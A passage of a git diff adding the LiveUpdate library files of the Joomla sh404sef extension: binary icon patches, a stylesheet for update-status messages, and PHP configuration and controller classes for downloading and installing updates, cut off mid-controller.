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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/liveupdate.css b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/liveupdate.css new file mode 100644 index 00000000..14e104a6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/liveupdate.css @@ -0,0 +1,136 @@ +/** + * @package LiveUpdate + * @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com + * @license GNU LGPLv3 or later + */ +@CHARSET "UTF-8"; + +.icon-48-liveupdate { background-image: url(liveupdate-48.png) } + +var { font-style: italic; font-weight: bold; } +p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } + +div.liveupdate-notsupported, +div.liveupdate-stuck { + border: thin solid #990000; + background: #fff0f0; + padding: 1em; + color: #330000; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + -border-radius: 10px; + -moz-box-shadow: 5px 5px 5px #f88; + -webkit-box-shadow: 5px 5px 5px #f88; + box-shadow: 5px 5px 5px #f88; +} +div.liveupdate-notsupported h3, +div.liveupdate-stuck h3 { + background: transparent url("fail-24.png") top left no-repeat; + min-height: 24px; + padding: 2px 0 0 28px; + font-size: large; + color: red; + text-shadow: 1px 1px 6px #cccc00; +} + +div.liveupdate-hasupdates { + border: thin solid #999900; + background: #fffff0; + padding: 1em; + color: #333300; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + -border-radius: 10px; + -moz-box-shadow: 5px 5px 5px #ff8; + -webkit-box-shadow: 5px 5px 5px #ff8; + box-shadow: 5px 5px 5px #ff8; +} + +div.liveupdate-hasupdates h3 { + background: transparent url("warn-24.png") top left no-repeat; + min-height: 24px; + padding: 2px 0 0 28px; + font-size: large; + color: #660; + text-shadow: 1px 1px 6px #ffff00; +} + +div.liveupdate-noupdates { + border: thin solid #009900; + background: #f0fff0; + padding: 1em; + color: #003300; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + -border-radius: 10px; + -moz-box-shadow: 5px 5px 5px #8f8; + -webkit-box-shadow: 5px 5px 5px #8f8; + box-shadow: 5px 5px 5px #8f8; +} + +div.liveupdate-noupdates h3 { + background: transparent url("ok-24.png") top left no-repeat; + min-height: 24px; + padding: 2px 0 0 28px; + font-size: large; + color: #060; + text-shadow: 1px 1px 6px #00ff00; +} + +div.liveupdate-infotable { + width: 620px; + margin: auto auto; + padding: 2px; + border: thin solid #333; + background: #fefefe; + -moz-border-radius: 5px; + -webkit-border-radius: 5px; + -border-radius: 5px; +} +div.liveupdate-infotable .row0 { background: #fcfcfc } +div.liveupdate-infotable .row1 { background: #f0f0f0 } +div.liveupdate-row { padding: 5px 1px } +span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } +span.liveupdate-data { display: inline-block; width: 400px; overflow: none } + +p.liveupdate-buttons { text-align: center; margin: 1em; } + +p.liveupdate-error-needsauth { + margin: 1em; + background: #ffcccc; + border: medium solid #ff0000; + color: #660000; + font-size: large; + font-weight: bold; + padding: 1em; + text-align: center; + text-shadow: 1px 1px 2px white; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + -border-radius: 10px; + -moz-box-shadow: 5px 5px 5px #f88; + -webkit-box-shadow: 5px 5px 5px #f88; + box-shadow: 5px 5px 5px #f88; +} + +p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } +p.liveupdate-poweredby a { color: silver; } +div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver } + +#nagscreen { + margin: 1em; + background: #ffcccc; + border: medium solid #ff0000; + color: #660000; + font-size: large; + font-weight: bold; + padding: 1em; + text-align: center; + text-shadow: 1px 1px 2px white; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + -border-radius: 10px; + -moz-box-shadow: 5px 5px 5px #f88; + -webkit-box-shadow: 5px 5px 5px #f88; + box-shadow: 5px 5px 5px #f88; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/nosupport-32.png b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/nosupport-32.png new file mode 100644 index 0000000000000000000000000000000000000000..f7a8e252f4124296f19638aacffb407ae828d887 GIT binary patch literal 4746 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 Uetc**{!>Zgs&3?-bFiQO2XMxzsQ>@~ literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/ok-24.png b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/ok-24.png new file mode 100644 index 0000000000000000000000000000000000000000..bbbed4c7847df7c860179a15f3271fcc664c39b4 GIT binary patch literal 2188 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 G5y(Hd&g-cF literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/warn-24.png b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/warn-24.png new file mode 100644 index 0000000000000000000000000000000000000000..c56f45a1e35db5b06d74e00dd783cd9e7ef09075 GIT binary patch literal 2036 zcmZWq>rdNd7;QIbp$wt4n?NrV7_Q~!#%KXcOA8E&U29>~wXlZUK+3fp(4iY8#uz?K zw}%=pBMBCkr&t{hfPPJrKBssX%;1r7ALzYJLLX$-MADuYWjDj3^4u zo1;dUf9}2w1v231{ANrd(ecPpI3epX37ZQF;dsF+FjBR9yA*a~sI=E^hqIVh-2|iS zi%i1UT;o$sPB=hF%+giGPr`Q1ND_MBt^a=4y^_nrVPKz9e*c%P`X^soTuAX$3y<$W zfktre7I&bwWzMF~!Qmdizo~;(b(^ex=4NNwltsjkSv9`6k*S zp>av5|9Wkx67KAINT=j-s_Kc9OTgj+y2MGSo=I;7i#=We5tL=Q!(3o*+Ic*Lxnh8+_h8aIi{W&ly8X?@cY z=UGkMoaRa}0@D(-aZiJz-|e)(E`g!55PvbZkO1pq5WTVixSO*nsDN3sxX)I@&VkCI z{puEvF^G6atAf*OY_s%2m)FR#^KhErm(KvO=)DHvbt0*9X~I6y&B zvLR7%pA*Kqnaun;d+*aifI*OlE>SFuV9r&>19HWY1_*2RcpH)g>p+33UhHK~!{%f= z^w+oA4l01y7yqxi2#$e*Ft_2n0MWWNT!pVsEepIh%DEM|IXX?Oa!m)9DO&D;?%nDb zhM53MRv|g?X(hpv)yfA0uI|eHZH^F&#<4shABZkxUgnF{oy+myz{B?-Gpx+X5y|M% zd@wO%i?h-GcE6;d&wv~XVB>->o6lcPUx)BD26zDp_>Noyd5#>eTj07m`MiprdZ4pwkb zIO~AJ+P=5NvM*|%>yZ@q%WGG_0_MQmmlZma%W$7%V5MZHGO%9G$~wrty#N9pZNHu0 z)Mh77u`w)$t%*+ycx5@kd3JX$^7A$qWWvvxY+!W{gR2)#@ZD8z4_?!M-Z&2Jk3)cK z4?cqyTq>P6E`D=^uMFUr?plL6&mnBvfUsQVPRQ=(5Fno=PK!Skqy6Xut5PgPN&9NL z)5Ku_xJu*mkiFL>!E&=;I=1I9PFHf~3Ib0{QW+uceSt#*B$Pt$e!&ADhX3K6T$pBy b{}29I@YsL61E~h_=dBtz7w(1I&2Ik-FQ)WY literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/abstractconfig.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/abstractconfig.php new file mode 100644 index 00000000..f24ef09d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/abstractconfig.php @@ -0,0 +1,229 @@ + + */ + +defined('_JEXEC') or die(); + +/** + * This is the base class inherited by the config.php file in LiveUpdate's root. + * You may override it non-final members to customise its behaviour. + * @author Nicholas K. Dionysopoulos + * + */ +abstract class LiveUpdateAbstractConfig extends JObject +{ + public $updateFileCacheTtl = 0; + + /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ + protected $_extensionName = 'com_foobar'; + /** @var string The human-readable name of your extension */ + protected $_extensionTitle = 'Foobar Component for Joomla!'; + /** + * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, + * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's + * directory. + * @var string + * */ + protected $_xmlFilename = ''; + + /** @var string The information storage adapter to use. Can be 'file' or 'component' */ + protected $_storageAdapter = 'file'; + /** @var array The configuration options for the storage adapter used */ + protected $_storageConfig = array('path' => JPATH_CACHE); + /** + * How to determine if a new version is available. 'different' = if the version number is different, + * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = + * compare the release dates to find the newest. I suggest using 'different' on most cases. + * @var string + */ + protected $_versionStrategy = 'different'; + + /** @var The current version of your extension. Populated automatically from the XML manifest. */ + protected $_currentVersion = ''; + /** @var The current release date of your extension. Populated automatically from the XML manifest. */ + protected $_currentReleaseDate = ''; + + /** @var string The URL to the INI update stream of this extension */ + protected $_updateURL = ''; + /** @var bool Does the download URL require authorization to download the package? */ + protected $_requiresAuthorization = false; + + /** @var string The username to authorize a download on your site */ + protected $_username = ''; + /** @var string The password to authorize a download on your site */ + protected $_password = ''; + /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ + protected $_downloadID = ''; + + /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ + protected $_cacerts = null; + + /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ + protected $_minStability = 'alpha'; + + /** + * Singleton implementation + * @return LiveUpdateConfig An instance of the Live Update configuration class + */ + public static function &getInstance() + { + static $instance = null; + + if(!is_object($instance)) { + $instance = new LiveUpdateConfig(); + } + + return $instance; + } + + /** + * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. + */ + public function __construct() + { + parent::__construct(); + $this->populateExtensionInfo(); + $this->populateAuthorization(); + } + + /** + * Returns the URL to the update INI stream. By default it returns the value to + * the protected $_updateURL property of the class. Override with your implementation + * if you want to modify its logic. + */ + public function getUpdateURL() + { + return $this->_updateURL; + } + + /** + * Override this ethod to load customized CSS and media files instead of the stock + * CSS and media provided by Live Update. If you override this class it MUST return + * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your + * settings. + * + * @return bool Return true to stop Live Update from loading its own CSS files. + */ + public function addMedia() + { + return false; + } + + /** + * Gets the authorization string to append to the download URL. It returns either the + * download ID or username/password pair. Please override the class constructor, not + * this method, if you want to fetch these values. + */ + public final function getAuthorization() + { + if(!empty($this->_downloadID)) { + return "dlid=".urlencode($this->_downloadID); + } + if(!empty($this->_username) && !empty($this->_password)) { + return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); + } + return ""; + } + + public final function requiresAuthorization() + { + return $this->_requiresAuthorization; + } + + /** + * Returns all the information we have about the extension and its update preferences + * @return array The extension information + */ + public final function getExtensionInformation() + { + return array( + 'name' => $this->_extensionName, + 'title' => $this->_extensionTitle, + 'version' => $this->_currentVersion, + 'date' => $this->_currentReleaseDate, + 'updateurl' => $this->_updateURL, + 'requireauth' => $this->_requiresAuthorization + ); + } + + /** + * Returns the information regarding the storage adapter + * @return array + */ + public final function getStorageAdapterPreferences() + { + $config = $this->_storageConfig; + $config['extensionName'] = $this->_extensionName; + + return array( + 'adapter' => $this->_storageAdapter, + 'config' => $config + ); + } + + public final function getVersionStrategy() + { + return $this->_versionStrategy; + } + + /** + * Get the current version from the XML manifest of the extension and + * populate the class' properties. + */ + private function populateExtensionInfo() + { + require_once dirname(__FILE__).'/xmlslurp.php'; + $xmlslurp = new LiveUpdateXMLSlurp(); + $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); + if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; + if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; + } + + /** + * Fetch username/password and Download ID from the component's configuration. + */ + protected function populateAuthorization() + { + if(!$this->_requiresAuthorization) return; + + // Do we already have authorizaton information? + if( (!empty($this->_username) && !empty($this->_password)) || !empty($this->_downloadID) ) { + return; + } + + if(substr($this->_extensionName,0,3) != 'com') return; + + // Not using JComponentHelper to avoid conflicts ;) + $db = JFactory::getDbo(); + $sql = $db->getQuery(true) + ->select($db->qn('params')) + ->from($db->qn('#__extensions')) + ->where($db->qn('type').' = '.$db->q('component')) + ->where($db->qn('element').' = '.$db->q($this->_extensionName)); + $db->setQuery($sql); + $rawparams = $db->loadResult(); + $params = new JRegistry(); + $params->loadString($rawparams, 'JSON'); + + $this->_username = $params->get('username',''); + $this->_password = $params->get('password',''); + $this->_downloadID = $params->get('downloadid',''); + } + + public function applyCACert(&$ch) + { + if(!empty($this->_cacerts)) { + if(file_exists($this->_cacerts)) { + @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); + } + } + } + + public function getMinimumStability() + { + return $this->_minStability; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/controller.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/controller.php new file mode 100644 index 00000000..3de367f2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/controller.php @@ -0,0 +1,271 @@ + + */ + +defined('_JEXEC') or die(); + +JLoader::import('joomla.application.component.controller'); + +if(!class_exists('JoomlaCompatController')) { + if(interface_exists('JController')) { + abstract class JoomlaCompatController extends JControllerLegacy {} + } else { + class JoomlaCompatController extends JController {} + } +} + +/** + * The Live Update MVC controller + */ +class LiveUpdateController extends JoomlaCompatController +{ + /** + * Object contructor + * @param array $config + * + * @return LiveUpdateController + */ + public function __construct($config = array()) + { + parent::__construct(); + + $this->registerDefaultTask('overview'); + } + + /** + * Runs the overview page task + */ + public function overview() + { + $this->display(); + } + + /** + * Starts the update procedure. If the FTP credentials are required, it asks for them. + */ + public function startupdate() + { + $updateInfo = LiveUpdate::getUpdateInformation(); + if($updateInfo->stability != 'stable') { + $skipNag = JRequest::getBool('skipnag', false); + if(!$skipNag) { + $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=nagscreen'); + $this->redirect(); + } + } + + $ftp = $this->setCredentialsFromRequest('ftp'); + if($ftp === true) { + // The user needs to supply the FTP credentials + $this->display(); + } else { + // No FTP credentials required; proceed with the download + $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); + $this->redirect(); + } + } + + /** + * Download the update package + */ + public function download() + { + $ftp = $this->setCredentialsFromRequest('ftp'); + $model = $this->getThisModel(); + $errorMsg = ''; + $result = $model->download($errorMsg); + if(!$result) { + // Download failed + $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED') . (empty($errorMsg) ? '' : ' (' . $errorMsg . ')'); + //$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); + $this->setRedirect('index.php?option=com_sh404sef', $msg, 'error'); + } else { + // Download successful. Let's extract the package. + $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; + $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); + $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); + if($user) { + $url .= '&username='.urlencode($user).'&password='.urlencode($pass); + } + $this->setRedirect($url); + } + $this->redirect(); + } + + public function extract() + { + $ftp = $this->setCredentialsFromRequest('ftp'); + $model = $this->getThisModel(); + $result = $model->extract(); + if(!$result) { + // Download failed + $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); + //$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); + $this->setRedirect('index.php?option=com_sh404sef', $msg, 'error'); + } else { + // Extract successful. Let's install the package. + $url = 